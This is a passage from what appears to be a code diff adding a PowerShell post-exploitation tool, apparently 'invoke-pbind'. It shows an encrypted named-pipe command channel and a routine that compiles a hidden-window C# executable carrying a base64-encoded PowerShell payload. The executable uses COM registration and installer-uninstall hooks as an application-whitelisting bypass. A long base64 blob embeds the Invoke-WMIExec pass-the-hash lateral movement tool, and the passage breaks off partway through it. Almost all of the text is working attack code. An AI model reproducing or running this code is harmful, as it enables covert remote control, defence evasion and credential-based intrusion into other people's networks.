while ((`$msg = Decrypt-String -key `$key -encryptedStringWithIV `$pipeReader.ReadLine()) -notmatch 'COMMAND|GOAGAIN') { + `$pipestate.log += [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(`$msg)) + } + if (`$msg -match 'GOAGAIN') { break } + + while(`$pipestate.command -eq `$null){ } + if (`$pipestate.kill -eq 'KILLPIPE') { + `$encSure = Encrypt-String -unencryptedString 'SURE' -Key `$key + `$pipeWriter.WriteLine(`$encSure) + } + `$pipestate.history = `$pipestate.command + `$pipestate.history = "2" + `$baseCommand = `$pipestate.command +`$pipestate.history = "3" +`$encCommand = Encrypt-String -unencryptedString `$baseCommand -Key `$key +`$pipestate.history = "4" + `$pipeWriter.WriteLine(`$encCommand) +`$pipestate.history = "5" + + `$pipestate.command = `$null +`$pipestate.history = "6" + } +} +finally { + `$pipec.Dispose() +} +} + +invoke-pclient -Target $target -secret $secret -key $key -pname $pname -timeout $timeout + +"@ + +if ($client.IsPresent){ + $PIPE_runspace = [RunspaceFactory]::CreateRunspace() + $PIPE_runspace.Open() + $PIPE_runspace.SessionStateProxy.SetVariable('pipestate',$pipestate) + $PIPE_powershell = [PowerShell]::Create() + $PIPE_powershell.Runspace = $PIPE_runspace + $PIPE_powershell.AddScript($c_scriptblock) > $null + $PIPE_powershell.BeginInvoke() > $null + echo "" + $endtime = (Get-Date).AddMilliseconds($timeout) + while ((Get-Date) -lt $endtime){ + if ($pipestate.state -eq $true) + { break } + + } + + if ($pipestate.state -eq $True){ + echo "Connected: $target - $pname" + echo "" + + } + elseif ((get-date) -lt $endtime){ + echo "Not Connected: Timeout occured" + } + else { + echo "Not Connected: :-(" + } + } + +elseif ($exe.isPresent){ + + if (!$dir){ + $dir="C:\temp" + } + if (!$automation){ + Write-host "You need to tell me where to get the automation dll to continue" + break + } + # create exe + $bytescom = [System.Text.Encoding]::Unicode.GetBytes($s_scriptblock) + $praw = [Convert]::ToBase64String($bytescom) + $csccode = 'using System; + using System.Text; + using System.Diagnostics; + using System.Reflection; + using System.Configuration.Install; + using System.Runtime.InteropServices; + using System.Collections.ObjectModel; + using System.Management.Automation; + using System.Management.Automation.Runspaces; + using System.EnterpriseServices; + + public class Program + { + [DllImport("kernel32.dll")] + static extern IntPtr GetConsoleWindow(); + [DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + public const int SW_HIDE = 0; + public const int SW_SHOW = 5; + public Program() { + try + { + string pb = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("'+$praw+'")); + InvokeAutomation(pb); + } + catch + { + Main(); + } + } + public static string InvokeAutomation(string cmd) + { + Runspace newrunspace = RunspaceFactory.CreateRunspace(); + newrunspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); + Pipeline pipeline = newrunspace.CreatePipeline(); + + pipeline.Commands.AddScript(cmd); + Collection results = pipeline.Invoke(); + newrunspace.Close(); + + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj); + } + return stringBuilder.ToString().Trim(); + } + public static void Main() + { + var handle = GetConsoleWindow(); + ShowWindow(handle, SW_HIDE); + try + { + string pb = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("'+$praw+'")); + InvokeAutomation(pb); + } + catch + { + Main(); + } + } + + } + + public class Bypass : ServicedComponent + { + [ComRegisterFunction] + public static void RegisterClass ( string key ) + { + Program.Main(); + } + + [ComUnregisterFunction] + public static void UnRegisterClass ( string key ) + { + Program.Main(); + } + } + + [System.ComponentModel.RunInstaller(true)] + public class Sample : System.Configuration.Install.Installer + { + public override void Uninstall(System.Collections.IDictionary savedState) + { + Program.Main(); + } + public static string InvokeAutomation(string cmd) + { + Runspace newrunspace = RunspaceFactory.CreateRunspace(); + newrunspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); + Pipeline pipeline = newrunspace.CreatePipeline(); + + pipeline.Commands.AddScript(cmd); + Collection results = pipeline.Invoke(); + newrunspace.Close(); + + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj); + } + return stringBuilder.ToString().Trim(); + } + }' + [IO.File]::WriteAllLines("$dir\pbind.cs", $csccode) + + if (Test-Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe") { + Start-Process -WindowStyle hidden -FilePath "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" -ArgumentList "/out:$dir\pbind.exe $dir\pbind.cs /reference:$automation\System.Management.Automation.dll" + } else { + if (Test-Path "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe") { + Start-Process -WindowStyle hidden -FilePath "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe" -ArgumentList "/out:$dir\pbind.exe $dir\pbind.cs /reference:$automation\System.Management.Automation.dll" + } + } + echo "" + Write-Host -Object "StandAlone Exe written to: $dir\pbind.exe" -ForegroundColor Green + echo "" + if (!$target){ + write-Host -Object "Connection String: invoke-pbind -target -secret $secret -key $key -pname $pname -client" -ForegroundColor Green + } else { + write-Host -Object "Connection String: invoke-pbind -target $target -secret $secret -key $key -pname $pname -client" -ForegroundColor Green + } + } + +Else { + + # Author: @kevin_robertson + $wmiexec = "ZnVuY3Rpb24gSW52b2tlLVdNSUV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1XTUlFeGVjIHBlcmZvcm1zIFdNSSBjb21tYW5kIGV4ZWN1dGlvbiBvbiB0YXJnZXRzIHVzaW5nIE5UTE12MiBwYXNzIHRoZSBoYXNoIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIFRhcmdldA0KSG9zdG5hbWUgb3IgSVAgYWRkcmVzcyBvZiB0YXJnZXQuDQoNCi5QQVJBTUVURVIgVXNlcm5hbWUNClVzZXJuYW1lIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uDQoNCi5QQVJBTUVURVIgRG9tYWluDQpEb21haW4gdG8gdXNlIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBwYXJhbWV0ZXIgaXMgbm90IG5lZWRlZCB3aXRoIGxvY2FsIGFjY291bnRzIG9yIHdoZW4gdXNpbmcgQGRvbWFpbiBhZnRlcg0KdGhlIHVzZXJuYW1lLiANCg0KLlBBUkFNRVRFUiBIYXNoDQpOVExNIHBhc3N3b3JkIGhhc2ggZm9yIGF1dGhlbnRpY2F0aW9uLiBUaGlzIG1vZHVsZSB3aWxsIGFjY2VwdCBlaXRoZXIgTE06TlRMTSBvciBOVExNIGZvcm1hdC4NCg0KLlBBUkFNRVRFUiBDb21tYW5kDQpDb21tYW5kIHRvIGV4ZWN1dGUgb24gdGhlIHRhcmdldC4gSWYgYSBjb21tYW5kIGlzIG5vdCBzcGVjaWZpZWQsIHRoZSBmdW5jdGlvbiB3aWxsIGp1c3QgY2hlY2sgdG8gc2VlIGlmIHRoZQ0KdXNlcm5hbWUgYW5kIGhhc2ggaGFzIGFjY2VzcyB0byBXTUkgb24gdGhlIHRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDEwIE1pbGxpc2Vjb25kczogU2V0cyB0aGUgZnVuY3Rpb24ncyBTdGFydC1TbGVlcCB2YWx1ZXMgaW4gbWlsbGlzZWNvbmRzLiBZb3UgY2FuIHRyeSB0d2Vha2luZyB0aGlzDQpzZXR0aW5nIGlmIHlvdSBhcmUgZXhwZXJpZW5jaW5nIHN0cmFuZ2UgcmVzdWx0cy4NCg0KLkVYQU1QTEUNCkludm9rZS1XTUlFeGVjIC1UYXJnZXQgMTkyLjE2OC4xMDAuMjAgLURvbWFpbiBURVNURE9NQUlOIC1Vc2VybmFtZSBURVNUIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjb21tYW5kIG9yIGxhdW5jaGVyIHRvIGV4ZWN1dGUiIC12ZXJib3NlDQoNCi5FWEFNUExFDQpJbnZva2UtV01JRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Vc2VybmFtZSBhZG1pbmlzdHJhdG9yIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjbWQuZXhlIC9jIG5ldCB1c2VyIFdNSUV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVdNSUV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtVXNlcm5hbWUgYWRtaW5pc3RyYXRvciAtUGFzc3dvcmQgVGVzdA0KDQouTElOSw0KaHR0cHM6Ly9naXRodWIuY29tL0tldmluLVJvYmVydHNvbi9JbnZva2UtVGhlSGFzaA0KDQojPg0KW0NtZGxldEJpbmRpbmcoKV0NCnBhcmFtDQooDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFRhcmdldCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW1N0cmluZ10kVXNlcm5hbWUsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSREb21haW4sDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRDb21tYW5kLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kUGFzc3dvcmQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW0ludF0kU2xlZXA9MTANCikNCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFdNSV9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoISRQYXNzd29yZCAtYW5kICEkSGFzaCl7DQogICAgZXhpdA0KfQ0KDQppZigkUGFzc3dvcmQpew0KICAgICRIYXNoID0gR2V0LU1ENEhhc2ggLURhdGFUb0hhc2ggJChbVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFBhc3N3b3JkKSkNCiAgICBXcml0ZS1PdXRwdXQgIkhhc2ggYmVpbmcgdXNlZDogJEhhc2giDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI1JQQw0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQmluZCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X21heF9mcmFnLFtCeXRlW11dJHBhY2tldF9udW1fY3R4X2l0ZW1zLFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9VVUlELFtCeXRlW11dJHBhY2tldF9VVUlEX3ZlcnNpb24pDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfY2FsbF9JRF9ieXRlcyA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9jYWxsX0lEKQ0KDQogICAgJHBhY2tldF9SUENCaW5kID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MGIpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ZyYWdMZW5ndGgiLFtCeXRlW11dKDB4NDgsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbElEIiwkcGFja2V0X2NhbGxfSURfYnl0ZXMpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhYbWl0RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGI4LDB4MTApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXNzb2NHcm91cCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1DdHhJdGVtcyIsJHBhY2tldF9udW1fY3R4X2l0ZW1zKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZSIsJHBhY2tldF9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyIiwkcGFja2V0X1VVSURfdmVyc2lvbikNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgiLFtCeXRlW11dKDB4MDQsMHg1ZCwweDg4LDB4OGEsMHhlYiwweDFjLDB4YzksMHgxMSwweDlmLDB4ZTgsMHgwOCwweDAwLDB4MmIsMHgxMCwweDQ4LDB4NjApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAyKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHhjNCwweGZlLDB4ZmMsMHg5OSwweDYwLDB4NTIsMHgxYiwweDEwLDB4YmIsMHhjYiwweDAwLDB4YWEsMHgwMCwweDIxLDB4MzQsMHg3YSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAzKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDMzLDB4MDUsMHg3MSwweDcxLDB4YmEsMHhiZSwweDM3LDB4NDksMHg4MywweDE5LDB4YjUsMHhkYiwweGVmLDB4OWMsMHhjYywweDM2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRDMiLFtCeXRlW11dKDB4MDIsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtczMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd240IixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UzIixbQnl0ZVtdXSgweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXIzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheDMiLFtCeXRlW11dKDB4MmMsMHgxYywweGI3LDB4NmMsMHgxMiwweDk4LDB4NDAsMHg0NSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyMyIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwNCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBhZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQ0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIGlmKCRwYWNrZXRfY2FsbF9JRCAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBhZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ0JpbmQNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0FVVEgzKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9OVExNU1NQLkxlbmd0aCkNCiAgICAkcGFja2V0X05UTE1TU1BfbGVuZ3RoID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswLDFdDQogICAgW0J5dGVbXV0kcGFja2V0X1JQQ19sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTVNTUC5MZW5ndGggKyAyOCkNCiAgICAkcGFja2V0X1JQQ19sZW5ndGggPSAkcGFja2V0X1JQQ19sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENBdXRoMyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDEwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19GcmFnTGVuZ3RoIiwkcGFja2V0X1JQQ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0F1dGhMZW5ndGgiLCRwYWNrZXRfTlRMTVNTUF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0NhbGxJRCIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhkMCwweDE2KSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwY